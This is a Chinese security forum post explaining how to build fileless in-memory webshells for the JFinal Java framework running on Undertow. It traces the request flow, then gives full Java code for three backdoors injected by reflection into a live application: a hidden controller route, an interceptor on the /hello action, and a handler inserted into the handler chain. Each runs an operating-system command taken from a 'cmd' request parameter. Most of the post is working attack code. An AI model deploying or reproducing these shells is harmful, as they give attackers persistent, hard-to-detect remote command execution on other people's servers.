某java框架内存马构造
用户9528 发表于 广东 历史精选 326浏览 · 2025-01-11 03:50

简介
JFinal 是基于 Java 语言的极速 WEB + ORM 框架,其核心设计目标是开发迅速、代码量少、学习简单、功能强大、轻量级、易扩展、Restful。在拥有Java语言所有优势的同时再拥有 ruby、python 等动态语言的开发效率!为您节约更多时间,去陪恋人、家人和朋友 ;)
环境搭建
参考 https://jfinal.com/doc/1-2 ,在jfinal-undertow下开发,基于JFinal的web项目需要创建一个继承自JFinalConfig类的子类,该类用于对整个web项目进行配置。

通过configRoute、configInterceptor、configHandler方法可以对route、interceptor、handler进行配置,新版本中Routes提供了scan方法自动扫描指定包下的控制器(带注解)来注册路由,下面针对这三个模块来构造对应的route、interceptor、handler内存马。
route内存马
因为Routes提供了add方法来注册路由

//com.jfinal.config.Routes#add(java.lang.String, java.lang.Class<? extends com.jfinal.core.Controller>)
    public Routes add(String controllerPath, Class<? extends Controller> controllerClass) {
        return this.add(controllerPath, controllerClass, controllerPath);
    }

所以我尝试通过获取routes相关变量,通过java-object-searcher搜索:

static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "deployment");
                                List<Lifecycle> deployment = (List<Lifecycle>) getField(obj, "lifecycleObjects");
                                if (deployment != null) {
                                    for (Lifecycle o : deployment) {
                                        if (o != null) {
                                            if (o.getClass().getName().contains("ManagedFilter")) {
                                                JFinalFilter filter = (JFinalFilter) getField(o, "filter");
                                                JFinal jfinal = (JFinal) getField(filter, "jfinal");
                                                Object handler = getField(filter, "handler");
                                                Handler actionhandler = (Handler) getParentNext(handler);
                                                actionMapping = (ActionMapping) getField(jfinal,
                                                        "actionMapping");
                                                routes = (Routes) getField(actionMapping, "routes");
                                            }
                                        }
                                    }
                                }
                                break;
                            }
                        }
                    }
                }
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
    //调用接口添加一条路由
    routes.add("/shell",ShellController.class)

然而没有卵用,还是分析下请求过程,在入口断点:

index:8, DemoController
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:97, Invocation (com.jfinal.aop)
intercept:10, DemoInterceptor
invoke:91, Invocation (com.jfinal.aop)
handle:118, ActionHandler (com.jfinal.core)
handle:11, Demo3Handler
handle:11, Demo2Handler
handle:12, DemoHandler
doFilter:90, JFinalFilter (com.jfinal.core)
doFilter:67, ManagedFilter (io.undertow.servlet.core)
doFilter:131, FilterHandler$FilterChainImpl (io.undertow.servlet.handlers)
handleRequest:84, FilterHandler (io.undertow.servlet.handlers)
handleRequest:62, ServletSecurityRoleHandler (io.undertow.servlet.handlers.security)
handleRequest:68, ServletChain$1 (io.undertow.servlet.handlers)
handleRequest:36, ServletDispatchingHandler (io.undertow.servlet.handlers)
handleRequest:68, RedirectDirHandler (io.undertow.servlet.handlers)
handleRequest:117, SSLInformationAssociationHandler (io.undertow.servlet.handlers.security)
handleRequest:57, ServletAuthenticationCallHandler (io.undertow.servlet.handlers.security)
handleRequest:43, PredicateHandler (io.undertow.server.handlers)
handleRequest:46, AbstractConfidentialityHandler (io.undertow.security.handlers)
handleRequest:64, ServletConfidentialityConstraintHandler (io.undertow.servlet.handlers.security)
handleRequest:60, AuthenticationMechanismsHandler (io.undertow.security.handlers)
handleRequest:77, CachedAuthenticatedSessionHandler (io.undertow.servlet.handlers.security)
handleRequest:43, AbstractSecurityContextAssociationHandler (io.undertow.security.handlers)
handleRequest:43, PredicateHandler (io.undertow.server.handlers)
handleRequest:52, SendErrorPageHandler (io.undertow.servlet.handlers)
handleRequest:43, PredicateHandler (io.undertow.server.handlers)
handleRequest:119, SessionRestoringHandler (io.undertow.servlet.handlers)
handleFirstRequest:275, ServletInitialHandler (io.undertow.servlet.handlers)
access$100:79, ServletInitialHandler (io.undertow.servlet.handlers)
call:134, ServletInitialHandler$2 (io.undertow.servlet.handlers)
call:131, ServletInitialHandler$2 (io.undertow.servlet.handlers)
call:48, ServletRequestContextThreadSetupAction$1 (io.undertow.servlet.core)
call:43, ContextClassLoaderSetupAction$1 (io.undertow.servlet.core)
dispatchRequest:255, ServletInitialHandler (io.undertow.servlet.handlers)
access$000:79, ServletInitialHandler (io.undertow.servlet.handlers)
handleRequest:100, ServletInitialHandler$1 (io.undertow.servlet.handlers)
executeRootHandler:393, Connectors (io.undertow.server)
run:852, HttpServerExchange$1 (io.undertow.server)
run:35, ContextClassLoaderSavingRunnable (org.jboss.threads)
safeRun:2019, EnhancedQueueExecutor (org.jboss.threads)
doRunTask:1558, EnhancedQueueExecutor$ThreadBody (org.jboss.threads)
run:1423, EnhancedQueueExecutor$ThreadBody (org.jboss.threads)
run:1282, XnioWorker$WorkerThreadFactory$1$1 (org.xnio)
run:748, Thread (java.lang)

其中Demo3Handler、Demo2Handler、DemoHandler是自定义的三个handler,在web配置中定义,调用完这三个,紧接着调用ActionHandler,这都是Handler的实现类

实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了

this.handler.handle(target, request, response, isHandled);

而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler

接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行

通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值,

//com.jfinal.core.ActionHandler#getAction
    protected Action getAction(String target, String[] urlPara) {
        return this.actionMapping.getAction(target, urlPara);
    }
//com.jfinal.core.ActionMapping#getAction
    public Action getAction(String url, String[] urlPara) {
        Action action = (Action)this.mapping.get(url);
        if (action != null) {
            return action;
        } else {
            int i = url.lastIndexOf(47);
            if (i != -1) {
                action = (Action)this.mapping.get(url.substring(0, i));
                if (action != null) {
                    urlPara[0] = url.substring(i + 1);
                }
            }

            return action;
        }
    }

而this.mapping值实际上是个Map对象

那尝试在mapping中添加一个String和Action,Action内的构造函数:

//com.jfinal.core.Action#Action
    public Action(String controllerPath, String actionKey, Class<? extends Controller> controllerClass, Method method, String methodName, Interceptor[] interceptors, String viewPath) {
        this.controllerPath = controllerPath;
        this.actionKey = actionKey;
        this.controllerClass = controllerClass;
        this.method = method;
        this.methodName = methodName;
        this.interceptors = interceptors;
        this.viewPath = viewPath;
        this.parameterGetter = ParaProcessorBuilder.me.build(controllerClass, method);
        method.setAccessible(true);
    }

需要构造一个Action对象,在初始化参数时还有一些坑,就不多说了,多调试几遍就解决了,代码实现:
ShellController:

import com.jfinal.core.Controller;

import java.io.IOException;

public class ShellController extends Controller {
    public void index() throws IOException {
        String cmd = getPara("cmd");
        Runtime.getRuntime().exec(cmd);
    }
}

AddControllermemshell:

import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.config.Routes;
import com.jfinal.core.*;
import com.jfinal.handler.Handler;
import io.undertow.servlet.core.Lifecycle;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Map;

@Path("/addcontrollermemshell")
public class AddControllermemshell extends Controller {
    private static Routes routes;
    private static ActionMapping actionMapping;

    static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "deployment");
                                List<Lifecycle> deployment = (List<Lifecycle>) getField(obj, "lifecycleObjects");
                                if (deployment != null) {
                                    for (Lifecycle o : deployment) {
                                        if (o != null) {
                                            if (o.getClass().getName().contains("ManagedFilter")) {
                                                JFinalFilter filter = (JFinalFilter) getField(o, "filter");
                                                JFinal jfinal = (JFinal) getField(filter, "jfinal");
                                                Object handler = getField(filter, "handler");
                                                Handler actionhandler = (Handler) getParentNext(handler);
                                                actionMapping = (ActionMapping) getField(jfinal,
                                                        "actionMapping");
                                                routes = (Routes) getField(actionMapping, "routes");
                                            }
                                        }
                                    }
                                }
                                break;
                            }
                        }
                    }
                }
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    public void index() throws NoSuchFieldException, IllegalAccessException,
            NoSuchMethodException {

        Method index = ShellController.class.getDeclaredMethod("index");
        Action shellaction = new Action("/controllershell", "/controllershell", ShellController.class, index, index.getName(),
                new Interceptor[]{new Demo1Interceptor()}, "/controllershell/");
        Map mapping = (Map) getField(actionMapping, "mapping");
        mapping.put("/controllershell", shellaction);
        renderText("controllermemshell added");
        //routes.add("s",ShellController.class);
    }

    public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
        Field field;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (NoSuchFieldException e) {
            try {
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

    public static Object getParentNext(Object handler) {
        Object current = handler;
        Object current1 = current;

        try {

            Class<?> clazz = current.getClass();

            while (clazz != null) {

//                Class<?> clazz = current.getClass();

                Field nextField = null;
                try {
                    nextField = clazz.getDeclaredField("next");
                } catch (NoSuchFieldException e) {

                    clazz = clazz.getSuperclass();
                    if (clazz == null) {

                        break;
                    }
                    continue;
                }

                nextField.setAccessible(true);

                current1 = current;
                current = nextField.get(current);

                if (current == null) {
//                    nextField.set(current1,shell);
//                    return current;
                    break;
                }
            }
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return current1;
    }

    private class Demo1Interceptor implements Interceptor {
        @Override
        public void intercept(Invocation invocation) {
            invocation.invoke();
        }
    }
}

interceptor内存马
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了

跟进com.jfinal.aop.Invocation#invoke:

发现这里是调用了interceptors中interceptor.intercept

那么可以尝试针对指定路由构造interceptor内存马,代码实现如下:
ShellInterceptor:

import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;

import java.io.IOException;

public class ShellInterceptor implements Interceptor {
    @Override
    public void intercept(Invocation invocation) {
        Controller controller = invocation.getController();
        if (controller.getPara("cmd") != null) {
            try {
                Runtime.getRuntime().exec(controller.getPara("cmd"));
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        invocation.invoke();
    }
}

AddInterceptormemshell:

import com.jfinal.aop.Interceptor;
import com.jfinal.config.Routes;
import com.jfinal.core.*;
import com.jfinal.handler.Handler;
import io.undertow.servlet.core.Lifecycle;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Map;

@Path("/addinterceptormemshell")
public class AddInterceptormemshell extends Controller {
    private static ActionMapping actionMapping = null;
    private static Map mapping = null;

    static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "deployment");
                                List<Lifecycle> deployment = (List<Lifecycle>) getField(obj, "lifecycleObjects");
                                if (deployment != null) {
                                    for (Lifecycle o : deployment) {
                                        if (o != null) {
                                            if (o.getClass().getName().contains("ManagedFilter")) {
                                                JFinalFilter filter = (JFinalFilter) getField(o, "filter");
                                                JFinal jfinal = (JFinal) getField(filter, "jfinal");
                                                Object handler = getField(filter, "handler");
                                                Handler actionhandler = (Handler) getField(handler, "next");
                                                actionMapping = (ActionMapping) getField(jfinal,
                                                        "actionMapping");
                                                mapping = (Map) getField(actionMapping, "mapping");
                                            }
                                        }
                                    }
                                }
                                break;
                            }
                        }
                    }
                }
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }


    public void index() throws NoSuchFieldException, IllegalAccessException {
        Action helloAction = (Action) mapping.get("/hello");
//        Interceptor[] interceptors = helloAction.getInterceptors();

        Interceptor[] interceptors = new Interceptor[1];
        interceptors[0] = new ShellInterceptor();


        Field field = helloAction.getClass().getDeclaredField("interceptors");
        field.setAccessible(true);
        field.set(helloAction, interceptors);
        renderText("interceptormemshell added");


    }

    public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
        Field field;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (NoSuchFieldException e) {
            try {
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

}

成功执行的话,仅在/hello下可以通过传参:

handler内存马
刚才的流程分析提到了handler嵌套执行的流程

那么可以尝试在这个嵌套结构中插入一个恶意的handler来执行,代码:
ShellHandler:

import com.jfinal.handler.Handler;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ShellHandler extends Handler {
    @Override
    public void handle(String s, HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse,
                       boolean[] booleans) {
        if (s.equals("/cmd")) {
            String cmd = httpServletRequest.getParameter("cmd");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        next.handle(s, httpServletRequest, httpServletResponse, booleans);
    }
}

AddHandlermemshell:

import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.*;
import com.jfinal.handler.Handler;
import io.undertow.servlet.core.Lifecycle;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.List;

@Path("/addhandlermemshell")
public class AddHandlermemshell extends Controller {

    private static Handler handler;

    static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "deployment");
                                List<Lifecycle> deployment = (List<Lifecycle>) getField(obj, "lifecycleObjects");
                                if (deployment != null) {
                                    for (Lifecycle o : deployment) {
                                        if (o != null) {
                                            if (o.getClass().getName().contains("ManagedFilter")) {
                                                JFinalFilter filter = (JFinalFilter) getField(o, "filter");
                                                handler = (Handler) getField(filter, "handler");
                                            }
                                        }
                                    }
                                }
                                break;
                            }
                        }
                    }
                }
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    public void index() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException,
            NoSuchMethodException {

        Field next = handler.getClass().getSuperclass().getDeclaredField("next");
        next.setAccessible(true);
        Handler o = (Handler) next.get(handler);

        Handler shellhandler = new ShellHandler();
        Field next1 = shellhandler.getClass().getSuperclass().getDeclaredField("next");
        next1.setAccessible(true);
        next1.set(shellhandler,o);

        next.set(handler,shellhandler);
        renderText("handlermemshell added");
    }

    public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
        Field field;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (NoSuchFieldException e) {
            try {
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

    private class Demo1Interceptor implements Interceptor {
        @Override
        public void intercept(Invocation invocation) {
            invocation.invoke();
        }
    }
}

效果:

0 条评论
某人
表情
可输入 255
目录